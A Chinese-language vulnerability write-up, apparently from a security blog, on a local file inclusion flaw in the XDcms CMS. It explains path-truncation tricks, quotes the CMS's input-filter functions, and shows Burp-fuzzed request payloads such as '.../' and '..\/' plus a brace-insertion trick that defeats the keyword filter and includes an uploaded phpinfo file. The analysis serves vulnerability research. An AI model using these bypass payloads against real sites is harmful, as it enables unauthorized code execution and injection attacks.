0x01前言
在通读企业管理系统XDcms源码的时候,发现了XDcms包含漏洞,记录下我的挖掘过程,分析,防御绕过的过程。这个漏洞虽然存在企业管理系统XDcms全版本,但是没有上传的地方。就可以直接发出来,作为一个学习的记录。
0x02 包含漏洞截断
第一种
%00截断(%00截断受限于GPC和addslashed等函数过滤,PHP5.3后修复了%00截断的问题。)
1 2 3 4
| <?php echo $_GET['a'].'php'; include $_GET['a'].'php'; ?>
|
第二种
.截断 或者 ./截断 (PHP5.3后修复了该类截断的问题。)
1 2 3 4 5 6 7 8 9 10
| <?php $str = ''; for($i=0;$i<=240;$i++){ $str.='.'; } $str = '2.txt'.$str; echo $str; include $str.'php'; ?>
|
第三种
?截断(只适用于远程包含,要开启allow_url_include)
1 2 3 4
| <?php echo $_GET['a'].'php'; include $_GET['a'].'php'; ?>
|
企业网站管理系统XDcms包含漏洞分析
在global.inc.php文件中,跟踪下m f c参数



由此知道了m是相对目录,c代表文件名,f代表方法。
global.inc.php文件中
1 2
| $c=safe_replace(safe_html(isset($_GET["c"]))) ? safe_replace(safe_html($_GET["c"])) : "index"; include MOD_PATH.$m."/".$c.".php";
|
下面的判断没有使用exit,只有一个跳转。说明只要我们包含成功,还是可以我们的代码的。
1 2 3 4 5 6 7 8
| if(!file_exists(MOD_PATH.$m)){ showmsg(C('module_not_exist'),'/'); }
if(!file_exists(MOD_PATH.$m."/".$c.".php")){ showmsg(C('class_not_exist'),'/'); }
|
在这里可以看到有一个本地包含。但是有safe_html safe_replace 函数过滤。
直接使用%00截断包含先试试
结果发现

没有包含成功,然后再仔细看下安全过滤函数,safe_replace和safe_html函数。
fun.inc.php文件中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| function safe_replace($string) { $string = str_replace('%20','',$string); $string = str_replace('%27','',$string); $string = str_replace('%2527','',$string); $string = str_replace('*','',$string); $string = str_replace('"','"',$string); $string = str_replace("'",'',$string); $string = str_replace('"','',$string); $string = str_replace(';','',$string); $string = str_replace('<','<',$string); $string = str_replace('>','>',$string); $string = str_replace("{",'',$string); $string = str_replace('}','',$string); $string = str_replace('\\','',$string); return $string; }
|
1 2 3 4 5 6 7
| function safe_html($str){ if(empty($str)){return;} if (preg_match('/\b select\b |\b insert\b | \b update\b | \b and\b | \b in\b | \b on\b | \b left\b |\b joins\b | \b delete\b |\%|\=|\/\*|\*| \b union\b |\.\.\/|\.\/| \b from\b | \b where\b | \b group\b | \binto\b |\bload_file\b |\boutfile\b/i',$str)){showmsg(C('error'),'-1');} return htmlspecialchars($str, ENT_COMPAT ,'GB2312'); }
|
在这里可以看到safe_replace函数对包含漏洞没什么影响,在safe_html发现了
对.././ 和 ./过滤,这样就不能跨目录了。
但是还是有办法对他进行绕过。
FUZZ绕过防御
1 2 3 4
| <?php echo $_GET['a']; include $_GET['a']; ?>
|
然后用burp进行抓包intruder
第一种
对”/“进行fuzz看是否可以被其他的字符代替。
1 2 3 4 5 6 7 8 9 10
| GET /system/test.php?a=..%§00§lufei.jpg HTTP/1.1 Host: 127.0.0.1 Proxy-Connection: keep-alive Cache-Control: max-age=0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*
|
结果
1 2
| /system/test.php?a=../lufei.jpg /system/test.php?a=..\lufei.jpg
|
第二种
添加一个字符是否可以还可以进行包含。
1 2 3 4 5 6 7 8 9 10
| GET /system/test.php?a=..%§00§/lufei.jpg HTTP/1.1 Host: 127.0.0.1 Proxy-Connection: keep-alive Cache-Control: max-age=0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*
|
结果
1 2 3
| /system/test.php?a=.../lufei.jpg /system/test.php?a=.. /system/test.php?a=..\/lufei.jpg
|
因为safe_html函数过滤的是../,前面fuzz出来的可以使../,从而绕过了防御。
然后使用intruder出来的结果
我直接在uploadfile目录中新建了lufei.jpg 代码是显示phpinfo();

程序自我缺陷绕过防御
1
| $c=safe_replace(safe_html(isset($_GET["c"]))) ? safe_replace(safe_html($_GET["c"])) : "index";
|
这句代码是先进行检测是否包含危险的注入语句,然后再替换一些字符。嗯。。。。
这危害就大了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| function safe_replace($string) { $string = str_replace('%20','',$string); $string = str_replace('%27','',$string); $string = str_replace('%2527','',$string); $string = str_replace('*','',$string); $string = str_replace('"','"',$string); $string = str_replace("'",'',$string); $string = str_replace('"','',$string); $string = str_replace(';','',$string); $string = str_replace('<','<',$string); $string = str_replace('>','>',$string); $string = str_replace("{",'',$string); $string = str_replace('}','',$string); $string = str_replace('\\','',$string); return $string; }
|
我先把一些字符比如select 变成 sel{ec{t 这样,safe_html,就检测不出这个危险的字符,然后safe_replace把{去掉,变成了select,危险字符还原回来了。
所以这个safe_html函数的防御变得毫无作用。
就这个本地包含漏洞来说
当然还可以利用到其他的方面上去,比如sql注入方面的绕过。
